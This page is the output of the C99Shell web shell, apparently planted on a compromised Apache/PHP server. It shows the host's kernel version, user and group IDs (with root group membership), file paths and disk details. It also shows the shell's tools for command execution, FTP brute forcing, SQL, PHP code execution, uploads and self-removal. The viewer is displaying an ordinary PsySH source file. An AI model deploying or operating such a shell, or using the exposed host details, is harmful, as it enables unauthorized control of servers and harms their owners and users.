!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/psy/psysh/src/Output/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProcOutputPager.php (2.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2023 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\Output;

use 
Symfony\Component\Console\Output\StreamOutput;

/**
 * ProcOutputPager class.
 *
 * A ProcOutputPager instance wraps a regular StreamOutput's stream. Rather
 * than writing directly to the stream, it shells out to a pager process and
 * gives that process the stream as stdout. This means regular *nix commands
 * like `less` and `more` can be used to page large amounts of output.
 */
class ProcOutputPager extends StreamOutput implements OutputPager
{
    private 
$proc;
    private 
$pipe;
    private 
$stream;
    private 
$cmd;

    
/**
     * Constructor.
     *
     * @param StreamOutput $output
     * @param string       $cmd    Pager process command (default: 'less -R -F -X')
     */
    
public function __construct(StreamOutput $outputstring $cmd 'less -R -F -X')
    {
        
$this->stream $output->getStream();
        
$this->cmd $cmd;
    }

    
/**
     * Writes a message to the output.
     *
     * @param string $message A message to write to the output
     * @param bool   $newline Whether to add a newline or not
     *
     * @throws \RuntimeException When unable to write output (should never happen)
     */
    
public function doWrite($message$newline)
    {
        
$pipe $this->getPipe();
        if (
false === @\fwrite($pipe$message.($newline \PHP_EOL ''))) {
            
// @codeCoverageIgnoreStart
            // should never happen
            
$this->close();
            throw new 
\RuntimeException('Unable to write output');
            
// @codeCoverageIgnoreEnd
        
}

        
\fflush($pipe);
    }

    
/**
     * Close the current pager process.
     */
    
public function close()
    {
        if (isset(
$this->pipe)) {
            
\fclose($this->pipe);
        }

        if (isset(
$this->proc)) {
            
$exit \proc_close($this->proc);
            if (
$exit !== 0) {
                throw new 
\RuntimeException('Error closing output stream');
            }
        }

        
$this->pipe null;
        
$this->proc null;
    }

    
/**
     * Get a pipe for paging output.
     *
     * If no active pager process exists, fork one and return its input pipe.
     */
    
private function getPipe()
    {
        if (!isset(
$this->pipe) || !isset($this->proc)) {
            
$desc = [['pipe''r'], $this->stream\fopen('php://stderr''w')];
            
$this->proc \proc_open($this->cmd$desc$pipes);

            if (!
\is_resource($this->proc)) {
                throw new 
\RuntimeException('Error opening output stream');
            }

            
$this->pipe $pipes[0];
        }

        return 
$this->pipe;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--